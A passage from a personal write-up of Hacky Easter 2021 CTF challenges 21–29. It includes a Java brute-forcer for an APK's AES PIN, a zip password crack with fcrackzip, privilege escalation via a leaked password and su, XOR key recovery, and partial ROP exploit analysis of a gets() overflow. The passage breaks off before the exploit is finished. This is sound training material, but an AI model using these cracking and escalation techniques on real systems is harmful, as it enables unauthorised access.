┌──(kali㉿kali)-[~/ctf/he21/21] └─$ ./solv0r.py Round 1/10 - found 49 matches pairs left: [] Round 2/10 - found 49 matches pairs left: [] Round 3/10 - found 49 matches pairs left: [] Round 4/10 - found 49 matches pairs left: [] Round 5/10 - found 48 matches pairs left: [17, 22] Round 6/10 - found 49 matches pairs left: [] Round 7/10 - found 49 matches pairs left: [] Round 8/10 - found 48 matches pairs left: [84, 98] Round 9/10 - found 48 matches pairs left: [19, 71] Round 10/10 - found 49 matches pairs left: [] ok, here is your flag: he2021{0k-1-5u44end3r-y0u-w1n!}

The flag is he2021{0k-1-5u44end3r-y0u-w1n!}.


HE21.22 46 Apes

Level:6 (medium)
Category:Misc
Points:200
Author:PS
46 apes encoded a message for you:

2Qu93ZhJHdsMGIlhmcgUXagMWe19icmBGbnFiOoBTZwIjM7FGd0gHdfNTbuB2a5V2X1JzcuF3MzNQf==

The provided string looks base64 encoded, but does not decode to something useful:

┌──(kali㉿kali)-[~/ctf/he21/22] └─$ echo 2Qu93ZhJHdsMGIlhmcgUXagMWe19icmBGbnFiOoBTZwIjM7FGd0gHdfNTbuB2a5V2X1JzcuF3MzNQf==|base64 -d|hexdump -C 00000000 d9 0b bd dd 98 49 1d db 0c 18 89 61 99 c8 14 5d |.....I.....a...]| 00000010 a8 0c 59 ed 7d 89 c9 81 19 b9 c5 88 ea 01 4d 9c |..Y.}.........M.| 00000020 08 8c ce c5 19 dd 20 1d d7 cd 4d bb 81 d9 ae 55 |...... ...M....U| 00000030 d9 7d 49 cd cb 85 dc cc cd 41 |.}I......A| 0000003a

Trying to make some sense of this data did not lead to anything. So I moved a step backwards and tried to reconsider if the provided string is really base64.

The name of the challenge is a hint: 46 apes. By changing two characters at a time we get 64 pase, which reminds of base64. By doing the same thing (changing each subsequent two characters) on the provided string we get the correct base64 encoded string:

#!/usr/bin/env python3 from base64 import b64decode s = '2Qu93ZhJHdsMGIlhmcgUXagMWe19icmBGbnFiOoBTZwIjM7FGd0gHdfNTbuB2a5V2X1JzcuF3MzNQf==' r = '' for i in range(0, len(s), 2): b = s[i:i+2] r += b[::-1] print(b64decode(r.encode()))

Running the script outputs the flag:

┌──(kali㉿kali)-[~/ctf/he21/22] └─$ ./rox0r.py b'Congrats, here is your flag: he2021{th4ts_m0nkey_bus1n3ss}'

The flag is he2021{th4ts_m0nkey_bus1n3ss}.


HE21.23 Eggcryptor

Level:6 (medium)
Category:Reversing
Points:200
Author:PS
Eggcryptor is hiding something from you.

Crack it and get the Easter Egg!

eggcryptor.apk

Hint

You don't need to run the app. Just decompile and analyze it.

The provided file is an android application, which can be decompiled e.g. using jadx.

Within the MainActivity of the application, we can see that there seems to be an EditText, in which a PIN is supposed to be entered:

Eggcryptor

If the entered PIN matches a given pattern (p.matcher(pin.getText().matches()), Crypto.decrypt is used to decrypt the String r, which was read from the resource R.raw.raw.

The decrypted byte array is then used as an image via image.setImageBitmap.

The Crypto.decrypt function uses AES:

Eggcryptor

The regex used to verify the PIN pattern ([a-z][0-9]{4}) can be found in strings.xml:

Eggcryptor

Accordingly the PIN has to begin with a lowercase character followed by 4 digits.

Since this sounds pretty bruteforceable, I copy-pasted the decrypt routine to a new java class and added a bruteforcer around it.

This bruteforcer reads the encrypted bytes from the resource file raw.raw (can be retrieved by simply decompressing the .apk file) and tries to decrypt them with all PIN combinations. If the decryption does not raise an exception, it does not necessarily mean that the PIN was correct. Thus we have to check the output. In order to do this, we can simply write the output to a file and run file on it. Here is the class:

import java.io.*; import java.util.Base64; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; public class Crax0r { public static void main(String args[]) throws Exception { // read encrypted resource BufferedReader br = new BufferedReader(new FileReader("raw.raw")); StringBuilder sb = new StringBuilder(); String line = br.readLine(); while (line != null) { sb.append(line); line = br.readLine(); } String enc64 = sb.toString(); br.close(); // alphabet from regex: [a-z][0-9]{4} String alpha1 = "abcdefghijklmnopqrstuvwxyz"; String alpha2 = "0123456789"; for (int i0 = 0; i0 < alpha1.length(); i0++) { for (int i1 = 0; i1 < alpha2.length(); i1++) { for (int i2 = 0; i2 < alpha2.length(); i2++) { for (int i3 = 0; i3 < alpha2.length(); i3++) { for (int i4 = 0; i4 < alpha2.length(); i4++) { String pin = "" + alpha1.charAt(i0)+alpha2.charAt(i1)+alpha2.charAt(i2)+alpha2.charAt(i3)+alpha2.charAt(i4); try { byte d[] = decrypt(pin, enc64); check_output(d, pin); } catch(Exception e) { } } } } } } } public static void check_output(byte[] d, String pin) { try { FileOutputStream fos = new FileOutputStream("out_"+pin); fos.write(d); Process p = Runtime.getRuntime().exec("file out_"+pin); String line; Reader r = new InputStreamReader(p.getInputStream()); BufferedReader in = new BufferedReader(r); while ((line = in.readLine()) != null) System.out.println(line); in.close(); } catch (Exception e) { } } public static byte[] decrypt(String pin, String enc64) throws Exception { byte[] salt = new byte[8]; for (int i = 0; i < 8; i++) { salt[i] = (byte) i; } SecretKeySpec key = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(pin.toCharArray(), salt, 10000, 128)).getEncoded(), "AES"); Cipher cipher = Cipher.getInstance("AES"); cipher.init(2, key); byte[] decodedBytes = Base64.getDecoder().decode(enc64); String decodedString = new String(decodedBytes); return cipher.doFinal(decodedBytes); } }

Running it displays the potentially correct PINs with the associated filetype:

┌──(kali㉿kali)-[~/ctf/he21/23] └─$ javac Crax0r.java && java Crax0r Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true ^BPicked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true out_a0158: data out_a0837: PGP Secret Key - out_a1107: data out_a1202: data out_a1669: data out_a2073: data out_a2181: data out_a2346: data out_a2366: data out_a2629: data out_a2643: data ... out_g0717: PNG image data, 1024 x 1024, 8-bit colormap, non-interlaced ...

The PIN g0717 produced a valid PNG image:

Egg

┌──(kali㉿kali)-[~/ctf/he21/23] └─$ zbarimg out_g0717 QR-Code:he2021{th3r3s_4_h4ck_4_th4t} scanned 1 barcode symbols from 1 images in 0.05 seconds

The flag is he2021{th3r3s_4_h4ck_4_th4t}.


HE21.24 Taco Cat

Level:6 (medium)
Category:Crypto
Points:200
Author:PS
Was it a cat I saw?

tacocat.zip

Hint

lowercase

The provided file is a zip archive:

┌──(kali㉿kali)-[~/ctf/he21/24] └─$ file tacocat.zip tacocat.zip: Zip archive data, at least v2.0 to extract

The archive contains the file eggge.png:

┌──(kali㉿kali)-[~/ctf/he21/24] └─$ zipinfo tacocat.zip Archive: tacocat.zip Zip file size: 19056 bytes, number of entries: 1 -rw-r--r-- 3.0 unx 20477 BX defN 20-May-19 10:51 eggge.png 1 file, 20477 bytes uncompressed, 18860 bytes compressed: 7.9%

Though it is encrypted:

┌──(kali㉿kali)-[~/ctf/he21/24] └─$ unzip tacocat.zip Archive: tacocat.zip [tacocat.zip] eggge.png password:

Both the name of the challenge (taocat) as well as the filename (eggge.png) looks like an anagram. Thus I created a wordlist based on Most-Popular-Letter-Passes.txt with anagram passwords using the following script:

#!/usr/bin/env python3 wl = '/usr/share/wordlists/SecLists/Passwords/Most-Popular-Letter-Passes.txt' words = open(wl).read().split('\n') f = open('wl.txt', 'w') for w in words: w_new = w + w[::-1][1:] f.write(w_new+'\n') f.close()

The script takes each password from the original wordlist and creates an anagram of it:

┌──(kali㉿kali)-[~/ctf/he21/24] └─$ cat wl.txt ... abacocaba abacusucaba abadaba abadanadaba abadiaidaba abaefeaba abagailiagaba abahaba abalaba abalonenolaba abalosolaba abamcmcmaba ...

Using fcrackzip and the generated wordlist, we can crack the password quite fast:

┌──(kali㉿kali)-[~/ctf/he21/24] └─$ fcrackzip -D -p wl.txt -u -v tacocat.zip found file 'eggge.png', (size cp/uc 18872/ 20477, flags 9, chk 866d) PASSWORD FOUND!!!!: pw == mousesuom

Using the password mousesuom we can unzip the archive:

┌──(kali㉿kali)-[~/ctf/he21/24] └─$ unzip tacocat.zip Archive: tacocat.zip [tacocat.zip] eggge.png password: inflating: eggge.png ┌──(kali㉿kali)-[~/ctf/he21/24] └─$ file eggge.png eggge.png: PNG image data, 1024 x 1024, 8-bit colormap, non-interlaced

Egg

┌──(kali㉿kali)-[~/ctf/he21/24] └─$ zbarimg eggge.png QR-Code:he2021{!y0.ban4na.b0y!} scanned 1 barcode symbols from 1 images in 0.05 seconds

The flag is he2021{!y0.ban4na.b0y!}.


HE21.25 Lots of JWTs

Level:6 (medium)
Category:Misc
Points:200
Author:PS
So many JWTs! What do they hide?

jwts.txt

Hint

You better write a script.

The provided text file contains a huge JWT:

┌──(kali㉿kali)-[~/ctf/he21/25] └─$ head -c 1000 jwts.txt eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpTVXpJMU5pSjkuZXlKamRESWlPaUpsZVVvd1pWaEJhVTlwU2t0V01WRnBURU5LYUdKSFkybFBhVXBUVlhwSk1VNXBTamt1WlhsS2FtUkVTV2xQYVVwc1pWVnZkMXBXYUVKaFZUbHdVMnQwVjAxV1JuQlVSVTVMWVVkS1NGa3liRkJoVlhCVVZsaHdTazFWTlhCVGFtdDFXbGhzUzJGdFVrVlRWMnhRWVZWd2MxcFdWblprTVhCWFlVVkthRlpVYkhkVk1uUXdWakF4VjFKdVFsVlNWVFZNV1ZWa1MxTkdhM2xpUmtKb1ZsaENWVlpzYUhkVGF6RldUbGhDVkdGdGRERlhiR2h6VXpKR2RGVnJWbE5XTW5oUldWWldkMDFXYkhGVWFrSnBWakJ3U1ZWdE1ERmlWbFYzWWtod1ZGWjZSbnBhVnpGUFRsWk9WVmRyY0dsV01taDZWVEZqTUdRd2VIUmFSRTVYVWxVMWMxZEVSbXRPVm1SeVlVVnNXbFpyU2paVk1HaDNWakpLYzFKVVFsVlNNMDB4Vkd4a1JtVnJPVWxSYTNCUVVtczFZVnBJY0ZOa2F6VnhVVzFzYTFKSGFESldNRlpoVFVkU1NWUnRkRk5pUjJoRVdrYzFTMkpYVG5KalJUbE5WMGRuZUZwRVFscGtNVlpaVld4Q1lWSldjRWhaTVZwRFZXMU9XRTFYV2xSU1JsWXdXVEZTUjFadFJsbGhSbWhUWVRKNE5WbHNXbUZXTWtaeVdrWkdWMkp1UWpKYVZXaERWRlpaZWxScVFrMVdNbWhXVlZaak5XUlhUblJQVjJ4WVZtdGFjRmt5YTNoa1JuQkhWRzVLYUUxdGFGcFVNVkpoWVVkR1JtVkhOVnBoTTFKS1ZqQm9SbVF5VG5Sa1JWcHJWa1ZhVlZkVVJ

A JWT is structured like this: <HEADER>.<PAYLOAD>.<SIGNATURE>.

The single components are base64url encoded without the optional padding (=).

In order to decode the PAYLOAD, we can split the JWT by dots (.) and base64 decode the second entry:

┌──(kali㉿kali)-[~/ctf/he21/25] └─$ cat jwts.txt|cut -d '.' -f2|base64 -d {"ct2":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUowZVhB...

The JSON output is quite big again and seems to contain multiple properties, which again contain a JWT:

┌──(kali㉿kali)-[~/ctf/he21/25] └─$ for f in $(cat jwts.txt|cut -d '.' -f2|base64 -d|tr , '\n'); do echo $f|head -c60;echo; done base64: invalid input {"ct2":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUo "ct1":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUow "ct4":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUow "ct3":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUow "iss":"he"}

Thus I wrote the following script, which recursivly parses the JWTs. Properties with a name other than ct1, ct2, ct3, ct4 or iss are printed:

#!/usr/bin/env python3 from base64 import b64decode import json def b64url_decode(s): return b64decode(s.replace('-', '+').replace('_','/')+'='*((-len(s))%4)) def jwt_get_data(s): h = s.split('.') if (len(h) == 1): return h[0] return json.loads( b64url_decode(h[1]).decode() ) def jwt_get_data_rec(j): r = '' i = 1 key = 'ct'+str(i) while (key in j): j_child = jwt_get_data(j[key]) if (not isinstance(j_child, str)): for k0 in j_child: if (k0 not in ['ct1','ct2','ct3','ct4','iss']): print(k0+'='+j_child[k0]) r += jwt_get_data_rec(j_child) i += 1 key = 'ct'+str(i) return r ct = open('./jwts.txt').read() j = jwt_get_data(ct) r = jwt_get_data_rec(j) print(r)

Running the script produces the following output:

┌──(kali㉿kali)-[~/ctf/he21/25] └─$ ./jwt_solv0r.py iv=f_js0 v=n_t0k iii=nty_0 i=he202 ii=1{pl3 vi=k3nZ}

By ordering the substrings via the roman numerals and concatenating them, we get the flag:

The flag is he2021{pl3nty_0f_js0n_t0kk3nZ}.


HE21.26 Lost

Level:6 (medium)
Category:Forensics
Points:200
Author:khae
One of the flags accidentally fell into the pot with the rejected ones!

Can you recover the lost flag?

lost.pdf

Hint

23

The provided file is a PDF file:

┌──(kali㉿kali)-[~/ctf/he21/26] └─$ file lost.pdf lost.pdf: PDF document, version 1.3

The document contains a lot of numbers and potential flags on each other:

PDF

binwalk can be used to extract the text data …

┌──(kali㉿kali)-[~/ctf/he21/26] └─$ binwalk --extract lost.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PDF document, version: "1.3" 141 0x8D Zlib compressed data, default compression

… which simply consists of 500 flags, proceeded by a number:

┌──(kali㉿kali)-[~/ctf/he21/26] └─$ head _lost.pdf.extracted/8D 2 J 0.57 w BT /F1 12.00 Tf ET BT 232.78 795.77 Td (One of these is valid, promise) Tj ET BT 180.11 767.42 Td (001 he2021{KDJDM-UgOMM-k4j5u-ooXKJ-ighjZ}) Tj ET BT 184.10 767.42 Td (002 he2021{juE4t-VTKG7-fiYWT-EJ7Rx-h2ADI}) Tj ET BT 180.09 767.42 Td (003 he2021{dNjAc-TbPo4-keeRe-uYYmC-IngBY}) Tj ET BT 180.77 767.42 Td (004 he2021{mXtuW-lVUVF-8mLpc-jvBHm-0kdI9}) Tj ET BT 177.43 767.42 Td (005 he2021{c4XNe-gA8wy-uJODH-BKCls-BuT5X}) Tj ET BT 185.78 767.42 Td (006 he2021{GjuXr-IjpR8-TWZjJ-zTYNb-CJnuh}) Tj ET

When I initally solved the challenge I used a script which slowly picks and tries a random flag from the list. That worked.

The intended way though is to find flag 23 and recognize the vertical text (thanks to keep3r for this enlightenment):

... BT 181.08 767.42 Td (020 he2021{XbBo7-PPADN-yjqIb-eEpxp-0GSa5}) Tj ET BT 175.76 767.42 Td (021 he2021{V1eud-NmSI9-spMWY-oeDe3-otDCU}) Tj ET BT 178.10 767.42 Td (022 he2021{E0FHN-am9rr-v5UhB-aYeWq-gehBJ}) Tj ET BT 179.11 767.42 Td (023 he2021{WQiNE-rwbfA-mEBoq-iDFvI-NanW0}) Tj ET BT 181.43 767.42 Td (024 he2021{hXHNf-eQ3Cy-9bCSB-7jUib-bP7TL}) Tj ET BT 180.76 767.42 Td (025 he2021{aNICF-9gqXK-mB1zK-u2jkq-S1uaw}) Tj ET BT 180.75 767.42 Td (026 he2021{tHB1J-V4n4H-LKzoA-YtpVK-ERhnz}) Tj ET BT 181.43 767.42 Td (027 he2021{yPGze-ibSJ1-HkXYM-jjEh6-CY5RX}) Tj ET BT 175.44 767.42 Td (028 he2021{oRVrl-rYkMD-FeYES-V3BKZ-hHBMQ}) Tj ET BT 187.42 767.42 Td (029 he2021{uEJXe-RPpdX-tfJnr-sLmSp-IYieq}) Tj ET BT 177.77 767.42 Td (030 he2021{rxGy1-92Tky-UP8bW-DUuXu-gvmFz}) Tj ET BT 183.09 767.42 Td (031 he2021{eakn7-ASqfA-RszUP-4tkKU-PfZBL}) Tj ET BT 178.43 767.42 Td (032 he2021{a9Qat-hqeoH-bERnQ-FwDvs-KUBPl}) Tj ET BT 182.78 767.42 Td (033 he2021{lLucw-gr9wP-z6Z0Q-iWidD-mqyqC}) Tj ET BT 179.11 767.42 Td (034 he2021{lV5m7-jCeSi-NQqWJ-h13dS-1WrLM}) Tj ET BT 178.11 767.42 Td (035 he2021{yWKXd-NCrSp-FTj0R-Memdi-YLcXL}) Tj ET BT 192.44 767.42 Td (036 he2021{wXDtx-qElDv-JSl93-ZarRI-fr2lA}) Tj ET BT 192.11 767.42 Td (037 he2021{arrDr-HZs4q-f4FyZ-svkSf-18I1v}) Tj ET BT 182.77 767.42 Td (038 he2021{nICN8-NTTjX-728LF-TSrbs-0HpLV}) Tj ET BT 174.43 767.42 Td (039 he2021{thwgH-4CEku-7bhO3-RNx7d-MVWHe}) Tj ET BT 190.10 767.42 Td (040 he2021{t8vI9-JNZOi-xzftw-qvbJn-Fe6PV}) Tj ET BT 181.43 767.42 Td (041 he2021{oT86c-6NUbk-PN4Ot-IXxBd-9XNHf}) Tj ET BT 188.09 767.42 Td (042 he2021{drxyt-BQQH0-ttrio-3ChkQ-9A9en}) Tj ET BT 183.77 767.42 Td (043 he2021{oDSgQ-1Erru-mZFIV-32l3B-rXiGG}) Tj ET BT 179.11 767.42 Td (044 he2021{iKGuv-wA8tD-MDKjy-uMmOq-21Opl}) Tj ET BT 185.10 767.42 Td (045 he2021{sVMtP-jos5Z-t2wHK-Yhlmf-8uHe2}) Tj ET BT 190.09 767.42 Td (046 he2021{cuek1-ynqIF-z3Pvz-zo6fi-2E0aY}) Tj ET BT 186.77 767.42 Td (047 he2021{oAf9Z-ojTaw-DnsT6-l5qfw-KfWgJ}) Tj ET BT 177.76 767.42 Td (048 he2021{ugeMc-00OC1-k7aW1-jDVPS-Xi65m}) Tj ET BT 187.09 767.42 Td (049 he2021{n16l2-83aIi-BuII6-hFKKz-KWaNS}) Tj ET BT 190.42 767.42 Td (050 he2021{tyiay-YXE8h-Sxtb4-lKtZN-Gf5g3}) Tj ET BT 178.10 767.42 Td (051 he2021{tkW2k-ZXzoP-HAJeF-3NxE5-sc0WK}) Tj ET BT 183.42 767.42 Td (052 he2021{oXBCS-gIe02-eneOi-Dwubt-RXBi4}) Tj ET BT 177.08 767.42 Td (053 he2021{3KpwC-8397R-K60VJ-rVS2Q-P2p9R}) Tj ET BT 179.77 767.42 Td (054 he2021{6KQCh-kG4Dh-REmzR-qeo8V-lkJyf}) Tj ET BT 179.75 767.42 Td (055 he2021{1YOF5-7KVIb-WjRuI-7qdGu-eNCL3}) Tj ET BT 182.10 767.42 Td (056 he2021{b7YrB-VMCRL-fE9Ba-xPIxm-r7vAy}) Tj ET ...

The text states Whatyoureallywanttodoiscountto361. Thus the real flag is prefixed with number 361:

... BT 186.43 767.42 Td (361 he2021{3t5Kc-PiP6Z-9xa2f-RNJrY-auDng}) Tj ET ...

Not my favorite challenge.

The flag is he2021{3t5Kc-PiP6Z-9xa2f-RNJrY-auDng}.


HE21.27 Ghost in a Shell 2

Level:7 (hard)
Category:Forensics
Points:300
Author:PS
     _, _,_  _,  _, ___   _ _, _    _,    _, _,_ __, _,  _,    ,  ,  
    / _ |_| / \ (_   |    | |\ |   /_\   (_  |_| |_  |   |     |  |  
    \ / | | \ / , )  |    | | \|   | |   , ) | | |   | , | ,   |  |  
     ~  ~ ~  ~   ~   ~    ~ ~  ~   ~ ~    ~  ~ ~ ~~~ ~~~ ~~~   ~  ~  
   ______________________________________________________________________  
    ,--.     ,--.    
   | oo |   | oo |   
   | ~~ |   | ~~ |   o  o  o  o  o  o  o  o  o  o  o  o  o  o  o  o  o  
   |/\/\|   |/\/\|     
   ______________________________________________________________________  
     
   
Connect to the server, snoop around, and find the flag!

    - ssh 46.101.107.117 -p 2108 -l clyde
    - password is: 555-ClYdE

Note: The service is restarted every hour at x:00.

We start by ssh’ing to the provided machine:

┌──(kali㉿kali)-[~/ctf/he21/27] └─$ ssh 46.101.107.117 -p 2108 -l clyde clyde@46.101.107.117's password: _, _,_ _, _, ___ _ _, _ _, _, _,_ __, _, _, , , / _ |_| / \ (_ | | |\ | /_\ (_ |_| |_ | | | | \ / | | \ / , ) | | | \| | | , ) | | | | , | , | | ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~~ ~~~ ~~~ ~ ~ ______________________________________________________________________ ,--. ,--. | oo | | oo | | ~~ | | ~~ | o o o o o o o o o o o o o o o o o |/\/\| |/\/\| ______________________________________________________________________ Find the flag! 60a95fed1cd6:~$

In our home directory there is a fake flag (flag?.txt):

60a95fed1cd6:~$ ls -al total 28 drwxr-xr-x 1 root root 4096 Apr 14 11:00 . drwxr-xr-x 1 root root 4096 Apr 3 05:23 .. -rwxr-xr-x 1 root root 15 Apr 14 11:00 .bashrc drwxr-xr-x 1 root root 4096 Apr 14 11:00 .lost+found -rwxr-xr-x 1 root root 3361 Mar 2 13:23 flag?.txt

The folder .lost+found seems to contain the actual flag:

60a95fed1cd6:~$ ls -al .lost\+found/ total 16 drwxr-xr-x 1 root root 4096 Apr 14 11:00 . drwxr-xr-x 1 root root 4096 Apr 14 11:00 .. -r--r----- 1 root pacman 32 Apr 14 11:00 flag.txt

Though we cannot read it (only user root and group pacman can):

60a95fed1cd6:~$ cat .lost\+found/flag.txt cat: can't open '.lost+found/flag.txt': Permission denied

We can read the home folder of pacman:

60a95fed1cd6:~$ ls -al /home/pacman/ total 28 drwxr-xr-x 1 root root 4096 Apr 14 11:00 . -rwxr-xr-x 1 root root 9 Apr 14 11:00 ."\?$*'N'*$?\" drwxr-xr-x 1 root root 4096 Apr 3 05:23 .. -rwxr-xr-x 1 root root 312 Mar 2 12:05 .bash_history -rwxr-xr-x 1 root root 277 Mar 2 12:05 notes.txt

The file .”\?$*’N’*$?\” seems to be interesting, but using cat directly on it does not work. Though we can use find:

60a95fed1cd6:~$ find /home/pacman/ -exec cat {} \; cat: read error: Is a directory msPACM4n history -c whoami ls -lrt cd /home/pacman du -sh vi notes.txt ...

The first line contains the password of pacman: msPACM4n.

Using this password we can use su to change to pacman:

4f4ef7317075:/home/pacman$ su pacman 4f4ef7317075:~$ id uid=1001(pacman) gid=1001(pacman) groups=1001(pacman)

Now we can read the real flag.txt in /home/clyde/.lost+found/:

4f4ef7317075:/home/clyde/.lost+found$ cat flag.txt he2021{wh4ts_y0ur_grewp_4g4in?}

The flag is he2021{wh4ts_y0ur_grewp_4g4in?}.


HE21.28 Haxxor what 2?

Level:7 (hard)
Category:Crypto, Forensics
Points:300
Author:PS
I was able to break the first file, but I'm stuck at this one.

Help!

haxxorwhat2

Hint

This time, the file is not an image.

The challenge is very similar to challenge 14, though this time the file is not supposed to be an image.

I was quite lucky to guess that the file is supposed to be a zip archive. By using the same technique as in the previous challenge, we can get the XOR key. For the zip archive I used the one from challenge 24:

>>> ct1 = open('haxxorwhat2','rb').read() >>> ct2 = open('../24/tacocat.zip','rb').read() >>> r = b'' >>> for i in range(16): ... r += bytes([ct1[i]^ct2[i]]) ... >>> r b'xorlathnxo\nr\x03t\xbdI'

This time the key is not completely recovered. Though a little bit of testing turned out that the key is xorlatan.

Using the following script we can decrypt the data:

#!/usr/bin/env python3 key = b'xorlatan' ct = open('haxxorwhat2', 'rb').read() r = b'' for i in range(len(ct)): r += bytes([ct[i]^key[i%len(key)]]) f = open('out','wb') f.write(r) f.close()

Running the script produces a valid zip archive:

┌──(kali㉿kali)-[~/ctf/he21/28] └─$ ./crax0r.py ┌──(kali㉿kali)-[~/ctf/he21/28] └─$ file out out: Zip archive data, at least v2.0 to extract

The archive contains the file egg.png:

┌──(kali㉿kali)-[~/ctf/he21/28] └─$ zipinfo out Archive: out Zip file size: 19143 bytes, number of entries: 1 -rw-r--r-- 3.0 unx 20506 bx defN 20-Jun-17 13:00 egg.png 1 file, 20506 bytes uncompressed, 18979 bytes compressed: 7.4% ┌──(kali㉿kali)-[~/ctf/he21/28] └─$ unzip out Archive: out inflating: egg.png

Egg

┌──(kali㉿kali)-[~/ctf/he21/28] └─$ zbarimg egg.png QR-Code:he2021{ul1m4te_x0r_m4st3r} scanned 1 barcode symbols from 1 images in 0.05 seconds

The flag is he2021{ul1m4te_x0r_m4st3r}.


HE21.29 Sailor’s Knot

Level:7 (hard)
Category:Pwn
Points:300
Author:daubsi
There is a huge variety of sailor's knots, but the common thing is they all use rops
or other types of cords.

nc 46.101.107.117 2112

Get a shell and read the flag.

Note: The service is restarted every hour at x:00.

sailorsknot

Hint

Ubuntu 18.04 64 Bit

The setting for the challenge is pretty much the same as in challenge 16, which makes it a 64-bit ELF binary, which is dynamically linked, not stripped, without stack canaries, nx enabled, no pic and partial relro:

┌──(kali㉿kali)-[~/ctf/he21/29] └─$ file sailorsknot sailorsknot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=97703c7c27443a213e91b074911c7c744fc34043, not stripped ┌──(kali㉿kali)-[~/ctf/he21/29] └─$ r2 -A sailorsknot [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x00400670]> iI arch x86 baddr 0x400000 binsz 7148 bintype elf bits 64 canary false class ELF64 compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 crypto false endian little havecode true intrp /lib64/ld-linux-x86-64.so.2 laddr 0x0 lang c linenum true lsyms true machine AMD x86-64 architecture maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath NONE sanitiz false static false stripped false subsys linux va true

Also the vulnerability is the same: a stack overflow due to the usage of the unsafe gets function:

[0x00400670]> pdf @ main ; DATA XREF from entry0 @ 0x40068d ┌ 100: int main (int argc, char **argv); │ ; var char **var_30h @ rbp-0x30 │ ; var int64_t var_24h @ rbp-0x24 │ ; var char *s @ rbp-0x20 │ ; arg int argc @ rdi │ ; arg char **argv @ rsi │ 0x00400757 55 push rbp │ 0x00400758 4889e5 mov rbp, rsp │ 0x0040075b 4883ec30 sub rsp, 0x30 │ 0x0040075f 897ddc mov dword [var_24h], edi ; argc │ 0x00400762 488975d0 mov qword [var_30h], rsi ; argv │ 0x00400766 b800000000 mov eax, 0 │ 0x0040076b e864000000 call sym.ignore_me_init_buffering │ 0x00400770 b800000000 mov eax, 0 │ 0x00400775 e8ea000000 call sym.ignore_me_init_signal │ 0x0040077a 488d3d970100. lea rdi, qword str.Welcome__Please_give_me_your_name ; 0x400918 ; "Welcome! Please give me your name!\n> " ; const char *format │ 0x00400781 b800000000 mov eax, 0 │ 0x00400786 e895feffff call sym.imp.printf ; int printf(const char *format) │ 0x0040078b 488d45e0 lea rax, qword [s] │ 0x0040078f 4889c7 mov rdi, rax ; char *s │ 0x00400792 b800000000 mov eax, 0 │ 0x00400797 e8b4feffff call sym.imp.gets ; char *gets(char *s) │ 0x0040079c 488d45e0 lea rax, qword [s] │ 0x004007a0 4889c6 mov rsi, rax │ 0x004007a3 488d3d940100. lea rdi, qword str.Hi__s__nice_to_meet_you ; 0x40093e ; "Hi %s, nice to meet you!\n" ; const char *format │ 0x004007aa b800000000 mov eax, 0 │ 0x004007af e86cfeffff call sym.imp.printf ; int printf(const char *format) │ 0x004007b4 b800000000 mov eax, 0 │ 0x004007b9 c9 leave └ 0x004007ba c3 ret

What is different though is that there is no profit function, which directly spawns a shell. Nevertheless the function system is present:

[0x00400670]> afl 0x00400670 1 42 entry0 0x004006b0 4 42 -> 37 sym.deregister_tm_clones 0x004006e0 4 58 -> 55 sym.register_tm_clones 0x00400720 3 34 -> 29 entry.fini0 0x00400750 1 7 entry.init0 0x00400900 1 2 sym.__libc_csu_fini 0x004007d4 1 97 sym.ignore_me_init_buffering 0x00400660 1 6 sym.imp.setvbuf 0x00400904 1 9 sym._fini 0x00400835 3 47 sym.kill_on_timeout 0x00400620 1 6 sym.imp.printf 0x00400600 1 6 sym.imp._exit 0x00400890 4 101 sym.__libc_csu_init 0x004006a0 1 2 sym._dl_relocate_static_pie 0x00400757 1 100 main 0x00400864 1 34 sym.ignore_me_init_signal 0x00400640 1 6 sym.imp.signal 0x00400630 1 6 sym.imp.alarm 0x00400650 1 6 sym.imp.gets 0x004007bb 1 6 sym.remove_me_before_deploy 0x004005d8 3 23 sym._init 0x00400610 1 6 sym.imp.system

In order to spawn a shell we also need the string /bin/sh.

Fortunately there is a comment that all references to /bin/sh should be removed …

[0x00400670]> iz [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x00000918 0x00400918 37 38 .rodata ascii Welcome! Please give me your name!\n> 1 0x0000093e 0x0040093e 25 26 .rodata ascii Hi %s, nice to meet you!\n 2 0x00000958 0x00400958 7 8 .rodata ascii /bin/ls 3 0x00000960 0x00400960 46 47 .rodata ascii [!] Anti DoS Signal. Patch me out for testing. 0 0x00001080 0x00601080 56 57 .data ascii Please ensure you remove _all_ references to the /bin/sh

…, which contains the string /bin/sh:

[0x00400670]> ps @ 0x006010b1 /bin/sh

The last thing we need are two gadgets. One to adjust the stack alignment (simple ret, see challenge 16) and another one, which pops into RDI in order to load the first argument to system: the string /bin/sh. Again we can use ROPgadget to find these gadgets:

